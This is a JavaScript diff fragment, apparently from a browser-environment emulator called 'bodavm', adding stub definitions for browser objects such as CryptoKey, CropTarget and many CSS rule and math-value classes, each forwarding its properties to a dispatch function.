+bodavm.memory.globalobj['credentialless'] = { + _boisinit: bodavm.config.isinit +}; +// CropTarget对象 + +bodavm.memory.globalobj['CropTarget'] = function CropTarget() { + console.log_copy('CropTarget 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CropTarget)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CropTarget'], "CropTarget"); +bodavm.toolsFunc.defineProperty('CropTarget', "fromElement", { + configurable: true, + enumerable: true, + writable: true, + value: function fromElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CropTarget'].undefined, "CropTarget", "fromElement", arguments); + } +}); +// crossOriginIsolated对象 + +bodavm.memory.globalobj['crossOriginIsolated'] = { + _boisinit: bodavm.config.isinit +}; +// CryptoKey对象 + +bodavm.memory.globalobj['CryptoKey'] = function CryptoKey() { + console.log_copy('CryptoKey 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CryptoKey)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CryptoKey'], "CryptoKey"); +bodavm.toolsFunc.defineProperty('CryptoKey', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CryptoKey', "extractable", { + configurable: true, + enumerable: true, + get: function extractable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "extractable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CryptoKey', "algorithm", { + configurable: true, + enumerable: true, + get: function algorithm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "algorithm_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CryptoKey', "usages", { + configurable: true, + enumerable: true, + get: function usages() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "usages_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSAnimation对象 + +bodavm.memory.globalobj['CSSAnimation'] = function CSSAnimation() { + console.log_copy('CSSAnimation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSAnimation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSAnimation'], "CSSAnimation"); +bodavm.memory.globalobj['CSSAnimation'].prototype.__proto__ = bodavm.memory.globalobj['Animation'].prototype; +bodavm.memory.globalobj['CSSAnimation'].__proto__ = bodavm.memory.globalobj['Animation']; +bodavm.toolsFunc.defineProperty('CSSAnimation', "animationName", { + configurable: true, + enumerable: true, + get: function animationName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSAnimation'].prototype, "CSSAnimation", "animationName_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSConditionRule对象 + +bodavm.memory.globalobj['CSSConditionRule'] = function CSSConditionRule() { + console.log_copy('CSSConditionRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSConditionRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSConditionRule'], "CSSConditionRule"); +bodavm.memory.globalobj['CSSConditionRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSGroupingRule'].prototype; +bodavm.memory.globalobj['CSSConditionRule'].__proto__ = bodavm.memory.globalobj['CSSGroupingRule']; +bodavm.toolsFunc.defineProperty('CSSConditionRule', "conditionText", { + configurable: true, + enumerable: true, + get: function conditionText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSConditionRule'].prototype, "CSSConditionRule", "conditionText_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSContainerRule对象 + +bodavm.memory.globalobj['CSSContainerRule'] = function CSSContainerRule() { + console.log_copy('CSSContainerRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSContainerRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSContainerRule'], "CSSContainerRule"); +bodavm.memory.globalobj['CSSContainerRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSConditionRule'].prototype; +bodavm.memory.globalobj['CSSContainerRule'].__proto__ = bodavm.memory.globalobj['CSSConditionRule']; +bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerName", { + configurable: true, + enumerable: true, + get: function containerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerQuery", { + configurable: true, + enumerable: true, + get: function containerQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerQuery_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSCounterStyleRule对象 + +bodavm.memory.globalobj['CSSCounterStyleRule'] = function CSSCounterStyleRule() { + console.log_copy('CSSCounterStyleRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSCounterStyleRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSCounterStyleRule'], "CSSCounterStyleRule"); +bodavm.memory.globalobj['CSSCounterStyleRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSCounterStyleRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "system", { + configurable: true, + enumerable: true, + get: function system() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_get", arguments); + }, + set: function system() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "symbols", { + configurable: true, + enumerable: true, + get: function symbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_get", arguments); + }, + set: function symbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "additiveSymbols", { + configurable: true, + enumerable: true, + get: function additiveSymbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_get", arguments); + }, + set: function additiveSymbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "negative", { + configurable: true, + enumerable: true, + get: function negative() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_get", arguments); + }, + set: function negative() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_get", arguments); + }, + set: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "suffix", { + configurable: true, + enumerable: true, + get: function suffix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_get", arguments); + }, + set: function suffix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "range", { + configurable: true, + enumerable: true, + get: function range() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_get", arguments); + }, + set: function range() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "pad", { + configurable: true, + enumerable: true, + get: function pad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_get", arguments); + }, + set: function pad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "speakAs", { + configurable: true, + enumerable: true, + get: function speakAs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_get", arguments); + }, + set: function speakAs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "fallback", { + configurable: true, + enumerable: true, + get: function fallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_get", arguments); + }, + set: function fallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_set", arguments); + } +}, 'prototype'); +// CSSFontFaceRule对象 + +bodavm.memory.globalobj['CSSFontFaceRule'] = function CSSFontFaceRule() { + console.log_copy('CSSFontFaceRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSFontFaceRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontFaceRule'], "CSSFontFaceRule"); +bodavm.memory.globalobj['CSSFontFaceRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSFontFaceRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSFontFaceRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontFaceRule'].prototype, "CSSFontFaceRule", "style_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSFontPaletteValuesRule对象 + +bodavm.memory.globalobj['CSSFontPaletteValuesRule'] = function CSSFontPaletteValuesRule() { + console.log_copy('CSSFontPaletteValuesRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSFontPaletteValuesRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontPaletteValuesRule'], "CSSFontPaletteValuesRule"); +bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSFontPaletteValuesRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "fontFamily", { + configurable: true, + enumerable: true, + get: function fontFamily() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "fontFamily_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "basePalette", { + configurable: true, + enumerable: true, + get: function basePalette() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "basePalette_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "overrideColors", { + configurable: true, + enumerable: true, + get: function overrideColors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "overrideColors_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSImageValue对象 + +bodavm.memory.globalobj['CSSImageValue'] = function CSSImageValue() { + console.log_copy('CSSImageValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSImageValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImageValue'], "CSSImageValue"); +bodavm.memory.globalobj['CSSImageValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSImageValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +// CSSImportRule对象 + +bodavm.memory.globalobj['CSSImportRule'] = function CSSImportRule() { + console.log_copy('CSSImportRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSImportRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImportRule'], "CSSImportRule"); +bodavm.memory.globalobj['CSSImportRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSImportRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSImportRule', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSImportRule', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSImportRule', "styleSheet", { + configurable: true, + enumerable: true, + get: function styleSheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "styleSheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSImportRule', "layerName", { + configurable: true, + enumerable: true, + get: function layerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "layerName_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSKeyframeRule对象 + +bodavm.memory.globalobj['CSSKeyframeRule'] = function CSSKeyframeRule() { + console.log_copy('CSSKeyframeRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSKeyframeRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframeRule'], "CSSKeyframeRule"); +bodavm.memory.globalobj['CSSKeyframeRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSKeyframeRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "keyText", { + configurable: true, + enumerable: true, + get: function keyText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_get", arguments); + }, + set: function keyText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_set", arguments); + } +}, 'prototype'); +// CSSKeyframesRule对象 + +bodavm.memory.globalobj['CSSKeyframesRule'] = function CSSKeyframesRule() { + console.log_copy('CSSKeyframesRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSKeyframesRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframesRule'], "CSSKeyframesRule"); +bodavm.memory.globalobj['CSSKeyframesRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSKeyframesRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "appendRule", { + configurable: true, + enumerable: true, + writable: true, + value: function appendRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "appendRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "findRule", { + configurable: true, + enumerable: true, + writable: true, + value: function findRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "findRule", arguments); + } +}, 'prototype'); +// CSSKeywordValue对象 + +bodavm.memory.globalobj['CSSKeywordValue'] = function CSSKeywordValue() { + console.log_copy('CSSKeywordValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSKeywordValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSKeywordValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeywordValue'], "CSSKeywordValue"); +bodavm.memory.globalobj['CSSKeywordValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSKeywordValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSKeywordValue', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_set", arguments); + } +}, 'prototype'); +// CSSLayerBlockRule对象 + +bodavm.memory.globalobj['CSSLayerBlockRule'] = function CSSLayerBlockRule() { + console.log_copy('CSSLayerBlockRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSLayerBlockRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerBlockRule'], "CSSLayerBlockRule"); +bodavm.memory.globalobj['CSSLayerBlockRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSGroupingRule'].prototype; +bodavm.memory.globalobj['CSSLayerBlockRule'].__proto__ = bodavm.memory.globalobj['CSSGroupingRule']; +bodavm.toolsFunc.defineProperty('CSSLayerBlockRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerBlockRule'].prototype, "CSSLayerBlockRule", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSLayerStatementRule对象 + +bodavm.memory.globalobj['CSSLayerStatementRule'] = function CSSLayerStatementRule() { + console.log_copy('CSSLayerStatementRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSLayerStatementRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerStatementRule'], "CSSLayerStatementRule"); +bodavm.memory.globalobj['CSSLayerStatementRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSLayerStatementRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSLayerStatementRule', "nameList", { + configurable: true, + enumerable: true, + get: function nameList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerStatementRule'].prototype, "CSSLayerStatementRule", "nameList_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathClamp对象 + +bodavm.memory.globalobj['CSSMathClamp'] = function CSSMathClamp() { + console.log_copy('CSSMathClamp 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathClamp)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathClamp': 3 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathClamp'], "CSSMathClamp"); +bodavm.memory.globalobj['CSSMathClamp'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathClamp'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathClamp', "lower", { + configurable: true, + enumerable: true, + get: function lower() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "lower_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSMathClamp', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSMathClamp', "upper", { + configurable: true, + enumerable: true, + get: function upper() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "upper_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathInvert对象 + +bodavm.memory.globalobj['CSSMathInvert'] = function CSSMathInvert() { + console.log_copy('CSSMathInvert 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathInvert)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathInvert': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathInvert'], "CSSMathInvert"); +bodavm.memory.globalobj['CSSMathInvert'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathInvert'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathInvert', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathInvert'].prototype, "CSSMathInvert", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathMax对象 + +bodavm.memory.globalobj['CSSMathMax'] = function CSSMathMax() { + console.log_copy('CSSMathMax 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathMax)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMax': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMax'], "CSSMathMax"); +bodavm.memory.globalobj['CSSMathMax'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathMax'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathMax', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMax'].prototype, "CSSMathMax", "values_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathMin对象 + +bodavm.memory.globalobj['CSSMathMin'] = function CSSMathMin() { + console.log_copy('CSSMathMin 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathMin)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMin': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMin'], "CSSMathMin"); +bodavm.memory.globalobj['CSSMathMin'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathMin'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; 